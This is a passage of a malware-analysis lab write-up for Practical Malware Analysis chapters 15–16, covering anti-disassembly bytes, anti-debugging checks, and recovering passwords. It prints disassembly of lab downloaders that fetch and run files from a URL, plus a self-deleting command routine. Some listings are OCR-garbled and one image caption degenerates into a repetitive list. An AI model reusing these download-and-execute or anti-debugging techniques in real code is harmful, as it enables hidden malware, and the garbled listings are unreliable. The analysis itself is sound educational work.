ext:00401057          add    esp, 4
ext:0040105A          xor    eax, eax
ext:0040105C          jnp    short loc_401073
ext:0040105E :
ext:0040105E

```

Figure 1. A confuse looking IDA Pro

We can undefine the code and reanalyze the code as shown below.

```
.text:00401000 ; int _cdecl main(int argc, const char **argv, const char **envp)
.text:00401000 _main:
.text:00401000          push    ebp
.text:00401001          mov     ebp, esp
.text:00401003          push    ebx
.text:00401004          push    esi
.text:00401005          push    edi
.text:00401006          cmp     dword ptr [ebp+8], 2
.text:00401008          jnz    short loc_40105E
.text:0040100C          xor     eax, eax
.text:0040100E          jz     short loc_401011
.text:0040100E :
.text:00401010          db     0E8h ; P
.text:00401011 :
.text:00401011 loc_401011:
.text:00401011          nov    eax, [ebp+0Ch]
.text:00401014          nov    ecx, [eax+4]
.text:00401017          novsx  edx, byte ptr [ecx]
.text:0040101A          cmp     edx, 70h
.text:0040101D          jnz    short loc_40105E
.text:0040101F          xor     eax, eax
.text:00401021          jz     short loc_401024
.text:00401021 :
.text:00401023          db     0E8h ; P
.text:00401024 :
.text:00401024 loc_401024:
.text:00401024          nov    eax, [ebp+0Ch] ; CODE XREF: .text:0040100ETj
.text:00401027          nov    ecx, [eax+4]
.text:0040102A          novsx  edx, byte ptr [ecx+2]
.text:0040102E          cmp     edx, 71h
.text:00401031          jnz    short loc_40105E
.text:00401033          xor     eax, eax
.text:00401035          jz     short loc_401038
.text:00401035 :
.text:00401037          db     0E8h ; P
.text:00401038 :
.text:00401038 loc_401038:
.text:00401038          nov    eax, [ebp+0Ch] ; CODE XREF: .text:00401035Tj
.text:0040103B          nov    ecx, [eax+4]
.text:0040103E          novsx  edx, byte ptr [ecx+1]
.text:00401042          cmp     edx, 6hh
.text:00401045          jnz    short loc_40105E
.text:00401047          xor     eax, eax
.text:00401049          jz     short loc_40104C
.text:00401049 :
```

Figure 2. Reanalyzing opcodes

ii. What rogue opcode is the disassembly tricked into disassembling?

E8 was used to trick the dis assembler.

```
text:0040105E
text:0040105E 33 C0          xor    eax, eax
text:00401060 74 81          jz     short near ptr loc_401062+1
text:00401062
text:00401062 loc_401062:
text:00401062 33 80 40        call   near ptr loc_401062+1 ; CODE XREF: .text:0040106ETj ...
text:00401062 00 FF          add    bh, bh
text:00401069 15 00 20 40 00    adc   eax, offset printf
text:0040106E 83 C4 04        add    esp, 4
text:00401071 33 C0          xor    eax, eax
text:00401073
```

Figure 3. E8 opcode

iii. How many times is this technique used?

5 times. Just count the number of 0xE8(refer to figure 2) you can find.

iv. What command-line argument will cause the program to print “Good Job!”?

Based on the analysis of the following codes, we need to pass in a pass phrase “pdq”.

```

text:00401000          ; int __cdecl main(int argc, const char **argv, const char **envp)
text:00401000 _main:    push    ebp
text:00401000             ; CODE XREF: start+0E4p
text:00401000 55          mov     ebp, esp
text:00401001 8B EC        push    ebx
text:00401003 53          push    esi
text:00401004 56          push    edi
text:00401005 57          cmp    dword ptr [ebp+8], 2 ; contains 2 arguments
text:00401006 83 7D 08 02   jnz    short bye
text:00401006 75 52        xor    eax, eax
text:0040100C 33 C8        jz     short loc_401011
text:0040100E 74 01        nop
text:00401010 98          nop
text:00401011
text:00401011 8B 45 0C      mov    eax, [ebp+0Ch]
text:0040101A 8B 48 04      mov    ecx, [eax+4]
text:00401017 8F BE 11      movsx  edx, byte ptr [ecx]
text:0040101A 83 FA 70      cmp    edx, 'p'           ; First char == p
text:0040101D 75 3F        jnz    short bye
text:0040101F 33 C8        xor    eax, eax
text:00401021 74 01        jz     short loc_401024
text:00401023 98          nop
text:00401024
text:00401024 8B 45 0C      mov    eax, [ebp+0Ch]
text:00401027 8B 48 04      mov    ecx, [eax+4]
text:0040102A 8F BE 51 02      movsx  edx, byte ptr [ecx+2]
text:0040102E 83 FA 71      cmp    edx, 'q'           ; 3rd char == q
text:00401031 75 28        jnz    short bye
text:00401033 33 C8        xor    eax, eax
text:00401035 74 01        jz     short loc_401038
text:00401037 98          nop
text:00401038
text:00401038 8B 45 0C      mov    eax, [ebp+0Ch]
text:0040103B 8B 48 04      mov    ecx, [eax+4]
text:0040103E 8F BE 51 01      movsx  edx, byte ptr [ecx+1]
text:00401042 83 FA 64      cmp    edx, 'd'           ; 2nd char == d
text:00401045 75 17        jnz    short bye
text:00401047 33 C8        xor    eax, eax
text:00401049 74 01        jz     short loc_40104C
text:0040104B 98          nop

```

Figure 4. decoding the pass phrase




Figure 5. Good Job!

e- Analyze the malware found in the file Lab15-02.exe. Correct all anti-disassembly countermeasures before analyzing the binary in order to answer the questions.

i. What URL is initially requested by the program?

.text:0040138C C6 45 CC 68	mov [ebp+Src], 'h'
.text:00401398 C6 45 CD 74	mov [ebp+var_33], 't'
.text:00401394 C6 45 CE 74	mov [ebp+var_32], 't'
.text:00401398 C6 45 CF 70	mov [ebp+var_31], 'p'
.text:0040139C C6 45 D0 3A	mov [ebp+var_30], ':'
.text:004013A8 C6 45 D1 2F	mov [ebp+var_2F], '/'
.text:004013A4 C6 45 D2 2F	mov [ebp+var_2E], '/'
.text:004013A8 C6 45 D3 77	mov [ebp+var_2D], 'u'
.text:004013AC C6 45 D4 77	mov [ebp+var_2C], 'u'
.text:004013B0 C6 45 D5 77	mov [ebp+var_2B], 'u'
.text:004013B4 C6 45 D6 2E	mov [ebp+var_2A], '-'
.text:004013B8 C6 45 D7 70	mov [ebp+var_29], 'p'
.text:004013BC C6 45 D8 72	mov [ebp+var_28], 'r'
.text:004013C0 C6 45 D9 61	mov [ebp+var_27], 'a'
.text:004013C4 C6 45 DA 63	mov [ebp+var_26], 'c'
.text:004013C8 C6 45 DB 74	mov [ebp+var_25], 't'
.text:004013CC C6 45 DC 69	mov [ebp+var_24], 'i'
.text:004013D0 C6 45 DD 63	mov [ebp+var_23], 'c'
.text:004013D4 C6 45 DE 61	mov [ebp+var_22], 'a'
.text:004013D8 C6 45 DF 60	mov [ebp+var_21], 'l'
.text:004013DC C6 45 E0 60	mov [ebp+var_20], 'n'
.text:004013E0 C6 45 E1 61	mov [ebp+var_1F], 'a'
.text:004013E4 C6 45 E2 6C	mov [ebp+var_1E], 'l'
.text:004013E8 C6 45 E3 77	mov [ebp+var_1D], 'u'
.text:004013EC C6 45 E4 61	mov [ebp+var_1C], 'a'
.text:004013F0 C6 45 E5 72	mov [ebp+var_1B], 'r'
.text:004013F4 C6 45 E6 65	mov [ebp+var_1A], 'e'
.text:004013F8 C6 45 E7 61	mov [ebp+var_19], 'a'
.text:004013FC C6 45 E8 6E	mov [ebp+var_18], 'n'
.text:00401400 C6 45 E9 61	mov [ebp+var_17], 'a'
.text:00401404 C6 45 EA 6C	mov [ebp+var_16], 'l'
.text:00401408 C6 45 EB 79	mov [ebp+var_15], 'y'
.text:0040140C C6 45 EC 73	mov [ebp+var_14], 's'
.text:00401410 C6 45 ED 69	mov [ebp+var_13], 'i'
.text:00401414 C6 45 EE 73	mov [ebp+var_12], 's'
.text:00401418 C6 45 EF 2E	mov [ebp+var_11], '-'
.text:0040141C C6 45 F0 63	mov [ebp+var_10], 'c'
.text:00401420 C6 45 F1 6F	mov [ebp+var_F], 'o'
.text:00401424 C6 45 F2 6D	mov [ebp+var_E], 'n'
.text:00401428 C6 45 F3 2F	mov [ebp+var_D], '/'
.text:0040142C C6 45 F4 62	mov [ebp+var_C], 'b'
.text:00401430 C6 45 F5 61	mov [ebp+var_B], 'a'
.text:00401434 C6 45 F6 60	mov [ebp+var_A], 'n'
.text:00401438 C6 45 F7 62	mov [ebp+var_9], 'b'
.text:0040143C C6 45 F8 6F	mov [ebp+var_8], 'o'

Figure 1. URL <http://www.practicalmalwareanalysis.com/bamboo.html>

ii. How is the User-Agent generated?

via modifying GetHostName returned string.




Figure 2. shift right

The above code will shift the string by 1 character. To prevent invalid ascii, Z is changed to A, z is changed to a and 9 is changed to 0.

iii. What does the program look for in the page it initially requests?

Bamboo::




Figure 3. strstr

iv. What does the program do with the information it extracts from the page?

It extracts out another url and download its content via `InternetOpenUrlA` and `InternetReadFile` saving it under `Account Sumamry.xls.exe`. It then executes it via `ShellExecuteA`.

```

.text:00401219 EB F1 00 00 00          call    account_summary
.text:0040121E 89 85 58 FD FE FF        mov     [ebp+str_Account_Summary.xls.exe], eax
.text:00401224 68 00 00 A0 00          push    0A00000h ; Size
.text:00401229 FF 15 28 20 40 00        call    ds:malloc
.text:0040122F 83 C4 04              add    esp, 4
.text:00401232 89 85 54 FD FE FF        mov     [ebp+lpBuffer], eax
.text:00401238 8B 8D 68 FD FF FF        mov     ecx, [ebp+strURL]
.text:0040123E 83 C1 08              add    ecx, 8
.text:00401241 89 8D 68 FD FF FF        mov     [ebp+strURL], ecx
.text:00401247 6A 00              push    0 ; dwContext
.text:00401249 6A 00              push    0 ; dwFlags
.text:0040124B 6A 00              push    0 ; dwHeadersLength
.text:0040124D 6A 00              push    0 ; lpszHeaders
.text:0040124F 8B 95 68 FD FF FF        mov     edx, [ebp+strURL]
.text:00401255 52              push    edx ; lpszUrl
.text:00401256 8B 85 5C FD FE FF        mov     eax, [ebp+hInternet]
.text:0040125C 50              push    eax ; hInternet
.text:0040125D FF 15 64 20 40 00        call    ds:InternetOpenUrlA
.text:00401263 89 85 64 FD FF FF        mov     [ebp+hFile], eax
.text:00401269 74 03              jz     short loc_40126E
.text:0040126B 75 01              jnz    short loc_40126E
.text:0040126D 98              nop
.text:0040126E
.text:0040126E loc_40126E:           ; CODE XREF: _main+260tj
.text:0040126E                 ; _main+260tj
.text:0040126E 8D 8D FC FE FF FF        lea     ecx, [ebp+dwNumberOfBytesRead]
.text:00401274 51              push    ecx ; lpdwNumberOfBytesRead
.text:00401275 68 00 00 01 00          push    10000h ; dwNumberOfBytesToRead
.text:0040127A 8B 95 54 FD FE FF        mov     edx, [ebp+lpBuffer]
.text:00401280 52              push    edx ; lpBuffer
.text:00401281 8B 85 64 FD FF FF        mov     eax, [ebp+hFile]
.text:00401287 50              push    eax ; hFile
.text:00401288 FF 15 5C 20 40 00        call    ds:InternetReadFile
.text:0040128E 85 C0              test   eax, eax
.text:00401290 74 74              jz     short loc_401306
.text:00401292 83 8D FC FE FF FF 00      cmp    [ebp+dwNumberOfBytesRead], 0
.text:00401299 76 6B              jbe    short loc_401306
.text:0040129B 68 48 3B 40 00          push    offset Mode ; "wb"
.text:004012A0 8B 8D 58 FD FE FF        mov     eax, [ebp+str_Account_Summary.xls.exe]
.text:004012A6 51              push    ecx ; filename
.text:004012A7 FF 15 24 20 40 00        call    ds:fopen

```

Figure 4. InternetOpenUrlA followed by InternetReadFile followed by fopen,fwrite then ShellExecuteA

f. Analyze the malware found in the file *Lab15-03.exe*. At first glance, this binary appears to be a legitimate tool, but it actually contains more functionality than advertised.

i. How is the malicious code initially called?

The return address was overwritten by the malicious code address at the start of the program. the stack which contains the ret address was written with 0x40148c.

```

text:00401000 55              push    ebp
text:00401001 BB EC            mov     ebp, esp
text:00401003 81 EC 34 01 00 00      sub    esp, 134h
text:00401009 53              push    ebx
text:0040100A 56              push    esi
text:0040100B 57              push    edi
text:0040100C 8B 00 00 40 00        mov     eax, 400000h
text:00401011 00 8C 14 00 00        or     eax, 148Ch
text:00401016 89 45 04            mov     [ebp+4], eax
text:0040101D 2B F0 90 40 00        push    offset EIP

```

Figure 1. Overwriting return address

ii. What does the malicious code do?

```

text:0040148C          SEH_DIVIDEBY0 proc near
text:0040148C 55          push    ebp
text:0040148D BB EC        mov     ebp, esp
text:0040148F 5A          push    ebx
text:00401490 56          push    esi
text:00401491 57          push    edi
text:00401492 33 C0        xor     eax, eax
text:00401493 74 81        jz    short loc_401497
text:00401496 9B          nop
text:00401497          loc_401497:      ; CODE XREF: SEH_DIVIDEBY0+8T
text:00401497 68 CB 14 48 00        push    offset loc_4014C0
text:0040149C 64 FF 35 00 00 00 00  push    large dword ptr fs:0
text:004014A3 64 89 25 00 00 00 00  mov     large fs:0, esp
text:004014A8 33 C9        xor     ecx, ecx
text:004014AC F7 F1        div     ecx
text:004014B0 68 84 33 48 00        push    offset afterMoreInforma ; "For more information please visit url w... "
text:004014B3 EB D6 00 00 00         call    printf
text:004014B8 8D C4 04        add    esp, 4
text:004014BD 5F          pop    edi
text:004014C0 5E          pop    esi
text:004014C4 5B          pop    ebx
text:004014C8 5D          pop    ebp
text:004014C9 C3          ret
text:004014CF          SEH_DIVIDEBY0 endp
text:004014D0

```

Figure 2. SEH

@0x40148c we can see that the malware is adding a SEH handler (0x4014C0) via fs:0. It then performs a divide by 0 error to trigger the SEH.

The handler download a file from a url and executes it via WinExec.

```

.text:004014C8          loc_4014C8:      ; DATA XREF: SEH_DIVIDEBY0:loc_401497F
.text:004014C8 8B 64 24 00        mov    esp, [esp+8]
.text:004014C9 8B A1 00 00 00 00  mov    eax, large fs:0
.text:004014CC 8B 00          mov    eax, [eax]
.text:004014CE 8B 00          mov    eax, [eax]
.text:004014D0 64 A3 00 00 00 00  mov    large fs:0, eax
.text:004014D4 83 C4 00        add    esp, 8
.text:004014D7 9B          nop
.text:004014D8 FF C0        inc    eax
.text:004014D9
.text:004014DA          SEH_HANDLER:      ; CODE XREF: SEH_DIVIDEBY0:loc_401497F
.text:004014DA 48          dec    eax
.text:004014DB E8 00 00 00 00 00  call    $+5
.text:004014E0 55          push   ebp
.text:004014E1 8B EC        mov    ebp, esp
.text:004014E3 53          push   ebx
.text:004014E4 56          push   esi
.text:004014E5 57          push   edi
.text:004014E6 68 10 38 48 00  push   offset url
.text:004014E8 E8 44 00 00 00 00  call    negateArgument
.text:004014F0 83 C4 04        add    esp, 4
.text:004014F3 68 48 38 48 00  push   offset Filename
.text:004014F5 E8 37 00 00 00 00  call    negateArgument
.text:004014F9 83 C4 04        add    esp, 4
.text:00401500 68 00          push   0
.text:00401502 68 00          push   0
.text:00401504 68 40 38 48 00  push   offset Filename ; Filename
.text:00401506 68 10 38 48 00  push   offset url ; url
.text:00401508 68 00          push   0
.text:00401510 E8 73 00 00 00 00  call    URLDownloadToFileA
.text:00401512 74 03        jz    short loc_40151A
.text:00401514 75 01        jnz   short loc_40151A
.text:00401516 9B          nop
.text:00401518          loc_401518:      ; CODE XREF: .text:00401515T ; .text:00401517T
.text:00401518
.text:0040151A 68 00          push   0
.text:0040151C 68 48 38 48 00  push   offset filename
.text:00401521 FF 15 34 20 00 00  call    ds:MinExec
.text:00401527 68 00          push   0
.text:00401529 FF 15 38 20 00 00  call    ds:ExitProcess

```

Figure 3. SEH Handler

iii. What URL does the malware use?

I decided to write a script to decode the url. the decoding function is simple... just negate the inputs.

```

<?php
$filename = "url.bin";

$handle = fopen($filename, "rb");
$dwSize = filesize($filename);
$data = fread($handle, $dwSize);
fclose($handle);

for($i = 0; $i < $dwSize; $i++)
{
    $char = ->$data[$i];
    echo($char);
}

```

cmd.exe

D:\Practical Malware Analysis\Practical Malware Analysis Labs\BinaryCollection\Chapter_15L>php decode.php
<http://www.practicalmalwareanalysis.com/tt.html>
D:\Practical Malware Analysis\Practical Malware Analysis Labs\BinaryCollection\Chapter_15L>

Figure 4. Decoded URL

The url is: <http://www.practicalmalwareanalysis.com/tt.html>

iv. What filename does the malware use?

spoolsrv.exe

```

<?php
$filename = "filename.bin";

$handle = fopen($filename, "rb");
$dwSize = filesize($filename);
$data = fread($handle, $dwSize);
fclose($handle);

for($i = 0; $i < $dwSize; $i++)
{
    $char = ->$data[$i];
    echo($char);
}

```

cmd.exe

D:\Practical Malware Analysis\Practical Malware Analysis Labs\BinaryCollection\Chapter_15L>php decode.php
spoolsrv.exe
D:\Practical Malware Analysis\Practical Malware Analysis Labs\BinaryCollection\Chapter_15L>

Figure 5. Decoded filename

Practical No. 9

a-Analyze the malware found in *Lab16-01.exe* using a debugger. This is the same malware as *Lab09-01.exe*, with added anti-debugging techniques.

i. Which anti-debugging techniques does this malware employ?

Based on the figures below, the anti debugging techniques used are

1. checking being debugged flag
2. checking process heap[10h]
3. checking NtGlobalFlag




Figure 1. Anti debugger

```
0: kd> dt !_PEB
ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void
+0x00c Ldr : Ptr32 _PEB_LDR_DATA
+0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
+0x014 SubSystemData : Ptr32 Void
+0x018 ProcessHeap : Ptr32 Void
+0x01c FastPebLock : Ptr32 _RTL_CRITICAL_SECTION
+0x020 FastPebUnlockRoutine : Ptr32 Void
+0x024 FastPebUnlockRoutine : Ptr32 Void
+0x028 EnvironmentUpdateCount : Uint4B
+0x02c KernelCallbackTable : Ptr32 Void
+0x030 SystemReserved : [1] Uint4B
+0x034 AtlThunkSListPtr32 : Uint4B
+0x038 FreeList : Ptr32 _PEB_FREE_BLOCK
+0x03c TlsExpansionCounter : Uint4B
+0x040 TlsBitmap : Ptr32 Void
+0x044 TlsBitmapBits : [2] Uint4B
+0x04c ReadOnlySharedMemoryBase : Ptr32 Void
+0x050 ReadOnlySharedMemoryHeap : Ptr32 Void
+0x054 ReadOnlyStaticServerData : Ptr32 Ptr32 Void
+0x058 AnsiCodePageData : Ptr32 Void
+0x05c OemCodePageData : Ptr32 Void
+0x060 UnicodeCaseTableData : Ptr32 Void
+0x064 NumberOfProcessors : Uint4B
+0x068 NtGlobalFlag : Uint4H
+0x070 CriticalSectionTimeout : _LARGE_INTEGER
+0x078 HeapSegmentReserve : Uint4B
+0x07c HeapSegmentCommit : Uint4B
+0x080 HeapDeCommitTotalFreeThreshold : Uint4B
+0x084 HeapDeCommitFreeBlockThreshold : Uint4B
+0x088 NumberOfHeaps : Hint4R
```

Figure 2. the offset used




Figure 3. Checking process heap

ii. What happens when each anti-debugging technique succeeds?

It will self delete and then terminates by calling the subroutine @00401000.

```

push    esi
push    edi
push    18hh          ; nSize
lea     eax, [ebp+Filename]
push    eax            ; lpFilename
push    0              ; hModule
call   ds:GetModuleFileNameA
push    10hh          ; cchBuffer
lea     ecx, [ebp+Filename]
push    ecx            ; lpszShortPath
lea     edx, [ebp+Filename]
push    edx            ; lpszLongPath
call   ds:GetShortPathNameA
mov    edi, offset aC0Del ; "/c del "
lea     edx, [ebp+Parameters]
or     ecx, 0FFFFFFFh
xor    eax, eax
repne scasb
not    ecx
sub    edi, ecx
mov    esi, edi
mov    eax, ecx
mov    edi, edx
shr    ecx, 2
rep mousd
mov    ecx, eax
and    ecx, 3
rep mousb
lea     edi, [ebp+Filename]
lea     edx, [ebp+Parameters]
or     ecx, 0FFFFFFFh
xor    eax, eax
repne scasb
not    ecx
sub    edi, ecx
mov    esi, edi
mov    ebx, ecx
mov    edi, edx
or     ecx, 0FFFFFFFh
xor    eax, eax
repne scasb
add   edi, 0FFFFFFFh
mov    ecx, ebx
shr    ecx, 2
rep mousd
mov    ecx, ebx
and    ecx, 3
rep mousb
mov    edi, offset aNul ; ">> NUL"
lea     edx, [ebp+Parameters]
or     ecx, 0FFFFFFFh
xor    eax, eax
repne scasb
not    ecx
sub    edi, ecx
mov    esi, edi
mov    ebx, ecx
mov    edi, edx
or     ecx, 0FFFFFFFh
xor    eax, eax
repne scasb
add   edi, 0FFFFFFFh
mov    ecx, ebx
shr    ecx, 2
rep mousd
mov    ecx, ebx
and    ecx, 3
rep mousb
push    0              ; nShowCmd
push    0              ; lpDirectory
lea     eax, [ebp+Parameters]
push    eax            ; lpParameters
push    offset File   ; "cmd.exe"
push    0              ; lpOperation
push    0              ; hmod
call   ds:ShellExecuteA
push    0              ; int
call   _exit
DeleteSelf endp

```

Figure 4. Self Delete & terminates

iii. How can you get around these anti-debugging techniques?

- Set breakpoint at the checks and manually change the flow in ollydbg
- Patch the program to make jz to jnz etc
- use plugins such as phantom.

iv. How do you manually change the structures checked during runtime?

use command line and enter dump fs:[30]+2 (refer to figure 2). Set the byte to 0.




Figure 5. Changing structure

v. Which OllyDbg plug-in will protect you from the anti-debugging techniques used by this malware?

PhantOm plugin will do the job

b. Analyze the malware found in *Lab16-02.exe* using a debugger. The goal of this lab is to figure out the correct password. The malware does not drop a malicious payload.

i. What happens when you run *Lab16-02.exe* from the command line?

Picture worth a thousand words.

```
C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_16L>Lab16-02.exe
usage: Lab16-02.exe <4 character password>
C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_16L>
```

Figure 1. password required

ii. What happens when you run Lab16-02.exe and guess the command-line parameter?

```
C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_16L>Lab16-02.exe
usage: Lab16-02.exe <4 character password>
C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_16L>Lab16-02.exe aaaa
Incorrect password, Try again.
C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_16L>Lab16-02.exe aaaa
Incorrect password, Try again.
```

Figure 2. Incorrect password

iii. What is the command-line password?

To get the command-line password, we can set breakpoint @0040123A to see what the malware is comparing the password against. However, on running the malware, the program simply terminates.

<img alt="Screenshot of the Cetools Profiler 2.5 interface. The left pane shows the file structure of 'Lab16-02.exe' with sections like .text, .rsrc, .rva, .rva2, .rva3, .rva4, .rva5, .rva6, .rva7, .rva8, .rva9, .rva10, .rva11, .rva12, .rva13, .rva14, .rva15, .rva16, .rva17, .rva18, .rva19, .rva20, .rva21, .rva22, .rva23, .rva24, .rva25, .rva26, .rva27, .rva28, .rva29, .rva30, .rva31, .rva32, .rva33, .rva34, .rva35, .rva36, .rva37, .rva38, .rva39, .rva40, .rva41, .rva42, .rva43, .rva44, .rva45, .rva46, .rva47, .rva48, .rva49, .rva50, .rva51, .rva52, .rva53, .rva54, .rva55, .rva56, .rva57, .rva58, .rva59, .rva60, .rva61, .rva62, .rva63, .rva64, .rva65, .rva66, .rva67, .rva68, .rva69, .rva70, .rva71, .rva72, .rva73, .rva74, .rva75, .rva76, .rva77, .rva78, .rva79, .rva80, .rva81, .rva82, .rva83, .rva84, .rva85, .rva86, .rva87, .rva88, .rva89, .rva90, .rva91, .rva92, .rva93, .rva94, .rva95, .rva96, .rva97, .rva98, .rva99, .rva100, .rva101, .rva102, .rva103, .rva104, .rva105, .rva106, .rva107, .rva108, .rva109, .rva110, .rva111, .rva112, .rva113, .rva114, .rva115, .rva116, .rva117, .rva118, .rva119, .rva120, .rva121, .rva122, .rva123, .rva124, .rva125, .rva126, .rva127, .rva128, .rva129, .rva130, .rva131, .rva132, .rva133, .rva134, .rva135, .rva136, .rva137, .rva138, .rva139, .rva140, .rva141, .rva142, .rva143, .rva144, .rva145, .rva146, .rva147, .rva148, .rva149, .rva150, .rva151, .rva152, .rva153, .rva154, .rva155, .rva156, .rva157, .rva158, .rva159, .rva160, .rva161, .rva162, .rva163, .rva164, .rva165, .rva166, .rva167, .rva168, .rva169, .rva170, .rva171, .rva172, .rva173, .rva174, .rva175, .rva176, .rva177, .rva178, .rva179, .rva180, .rva181, .rva182, .rva183, .rva184, .rva185, .rva186, .rva187, .rva188, .rva189, .rva190, .rva191, .rva192, .rva193, .rva194, .rva195, .rva196, .rva197, .rva198, .rva199, .rva200, .rva201, .rva202, .rva203, .rva204, .rva205, .rva206, .rva207, .rva208, .rva209, .rva210, .rva211, .rva212, .rva213, .rva214, .rva215, .rva216, .rva217, .rva218, .rva219, .rva220, .rva221, .rva222, .rva223, .rva224, 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.rva1126, .rva1127, .rva1128, .rva1128, .rva1129, .rva1130, .rva1131, .rva1132, .rva1133, .rva1134, .rva1135, .rva1136, .rva1137, .rva1138, .rva1138, .rva1139, .rva1140, .rva1141, .rva1142, .rva1143, .rva1144, .rva1145, .rva1146, .rva1147, .rva1148, .rva1148, .rva1149, .rva1150, .rva1151, .rva1152, .rva1153, .rva1154, .rva1155, .rva1156, .rva1157, .rva1158, .rva1158, .rva1159, .rva1160, .rva1161, .rva1162, .rva1163, .rva1164, .rva1165, .rva1166, .rva1167, .rva1168, .rva1168, .rva1169, .rva1170, .rva1171, .rva1172, .rva1173, .rva1174, .rva1175, .rva1176, .rva1177, .rva1178, .rva1178, .rva1179, .rva1180, .rva1181, .rva1182, .rva1183, .rva1184, .rva1185, .rva1186, .rva1187, .rva1188, .rva1188, .rva1189, .rva1190, .rva1191, .rva1192, .rva1193, .rva1194, .rva1195, .rva1196, .rva1197, .rva1198, .rva1198, .rva1199, .rva1199, .rva1200, .rva1201, .rva1202, .rva1203, .rva1204, .rva1205, .rva1206, .rva1207, .rva1208, .rva1208, .rva1209, .rva1210, .rva1211, .rva1212, .rva1213, .rva1214, .rva1215, .rva1216, .rva1217, .rva1218, .rva1218, .rva1219, .rva1220, .rva1221, .rva1222, .rva1223, .rva1224, .rva1225, .rva1226, .rva1227, .rva1228, .rva1229, .rva1229, .rva1230, .rva1231, .rva1232, .rva1233, .rva1234, .rva1235, .rva1236, .rva1237, .rva1238, .rva1239, .rva1239, .rva1240, .rva1241, .rva1242, .rva1243, .rva1244, .rva1245, .rva1246, .rva1247, .rva1248, .rva1249, .rva1249, .rva1250, .rva1251, .rva1252, .rva1253, .rva1254, .rva1255, .rva1256, .rva1257, .rva1258, .rva1258, .rva1259, .rva1260, .rva1261, .rva1262, .rva1263, .rva1264, .rva1265, .rva1266, .rva1267, .rva1268, .rva1268, .rva1269, .rva1270, .rva1271, .rva1272, .rva1273, .rva1274, .rva1275, .rva1276, .rva1277, .rva1278, .rva1278, .rva1279, .rva1280, .rva1281, .rva1282, .rva1283, .rva1284, .rva1285, .rva1286, .rva1287, .rva1288, .rva1288, .rva1289, .rva1290, .rva1291, .rva1292, .rva1293, .rva1294, .rva1295, .rva1296, .rva1297, .rva1298, .rva1298, .rva1299, .rva1299, .rva1300, .rva1301, .rva1302, .rva1303, .rva1304, .rva1305, .rva1306, .rva1307, .rva1308, .rva1308, .rva1309, .rva1310, .rva1311, .rva1312, .rva1313, .rva1314, .rva1315, .rva1316, .rva1317, .rva1318, .rva1318, .rva1319, .rva1320, .rva1321, .rva1322, .rva1323, .rva1324, .rva1325, .rva1326, .rva1327, .rva1328, .rva1329, .rva1329, .rva1330, .rva1331, .rva1332, .rva1333, .rva1334, .rva1335, .rva1336, .rva1337, .rva1338, .rva1339, .rva1339, .rva1340, .rva1341, .rva1342, .rva1343, .rva1344, .rva1345, .rva1346, .rva1347, .rva1348, .rva1349, .rva1349, .rva1350, .rva1351, .rva1352, .rva1353, .rva1354, .rva1355, .rva1356, .rva1357, .rva1358, .rva1358, .rva1359, .rva1360, .rva1361, .rva1362, .rva

Seems like 0x00408033 subroutine was called before we reach main method. Analyzing it in IDA Pro, this subroutine is checking for OLLYDBG window via FindWindowA and it is also using OutputDebugString to detect for debugger. Just nop the function at let it return to bypass these checks.



Figure 4. byqrp@ss

and so we got the password... however this password is invalid when tried on the command line with debugger attached.

Lets look at the subroutine @00401090 which is called by the CreateThread function. This function is responsible for generating the password to check against.

.tls:00401124	ror	byte_408032, 7
.tls:00401128	mov	ebx, large fs:30h
.tls:00401132	xor	byte_408033, 0C5h
.tls:00401139	ror	byte_408033, 4
.tls:00401140	rol	byte_408031, 4
.tls:00401147	ror	byte_408030, 3
.tls:0040114E	xor	byte_408030, 00h
.tls:00401155	ror	byte_408031, 5
.tls:0040115C	xor	byte_408032, 0ABh
.tls:00401163	ror	byte_408033, 1
.tls:00401169	ror	byte_408032, 2
.tls:00401170	ror	byte_408031, 1
.tls:00401176	xor	byte_408031, BFEh
.tls:0040117D	rol	byte_408030, 6
.tls:00401184	xor	byte_408030, 72h
.tls:00401188	mov	bl, [ebx+2]
.tls:0040118E	rol	byte_408031, 1

Figure 5.

BeingDebugged Flag

In the subroutine we can see that there is a check against BeingDebugged Flag... maybe this is the cause of it. Let's fix the structure and see how it goes.




Figure 6. byrrp@ss

The decoded password is "byrrp@ss". However the strncmp will only compare the first 4 characters.




Figure 7. Correct Password

iv. Load Lab16-02.exe into IDA Pro. Where in the main function is strncmp found?

@0x40123A

```
.tls:00401233    mov    eax, [ebp+argv]
.tls:00401236    mov    ecx, [eax+4]
.tls:00401239    push   ecx          ; char *
.tls:0040123A    call   strncmp
.tls:0040123F    add    esp, 0Ch
.tls:00401242    mov    [ebp+var_4], eax
.tls:00401245    cmp    [ebp+var_4], 0
.tls:00401249    inz    short loc 40125A
```

Figure 8. strncmp

v. What happens when you load this malware into OllyDbg using the default settings?

The program just terminates. In fact even if I am running it in command line but ollydbg is running in the background, the application will also terminates.

vi. What is unique about the PE structure of Lab16-02.exe?


There is a .tls section.

Name	Start	End	R	W	X	D	L	Align	Base	Type	Class	AD	es	ss	ds	fs	gs
00401000	00402000		R	-	X	-	L	para	0001	public	CODE	32	0000	0000	0004	FFFFFF	FFFFFF
00407000	00407000		R	-	X	-	L	para	0002	public	CODE	32	0000	0000	0004	FFFFFF	FFFFFF
004070C8	00408000		R	-	-	-	L	para	0003	public	DATA	32	0000	0000	0004	FFFFFF	FFFFFF
00408000	0040C000		R	W	-	-	L	para	0004	public	DATA	32	0000	0000	0004	FFFFFF	FFFFFF

Figure 9. .tls section

vii. Where is the callback located? (Hint: Use CTRL-E in IDA Pro.)

At address 0x00401060.



10. Ctrl-E

Figure

viii. Which anti-debugging technique is the program using to terminate immediately in the debugger and how can you avoid this check?

1. OLLYDBG window via FindWindowA
2. OutputDebugString to detect for debugger
3. BeingDebugged Flag via fs:[30h]+2

ix. What is the command-line password you see in the debugger after you disable the anti-debugging technique?

refer to solution for question iii.

x. Does the password found in the debugger work on the command line?

refer to solution for question iii.

xi. Which anti-debugging techniques account for the different passwords in the debugger and on the command line, and how can you protect against them?

1. OutputDebugString (nop out the callback function)
2. BeingDebuggedFlag (change the structure to set debug flag back to 0)

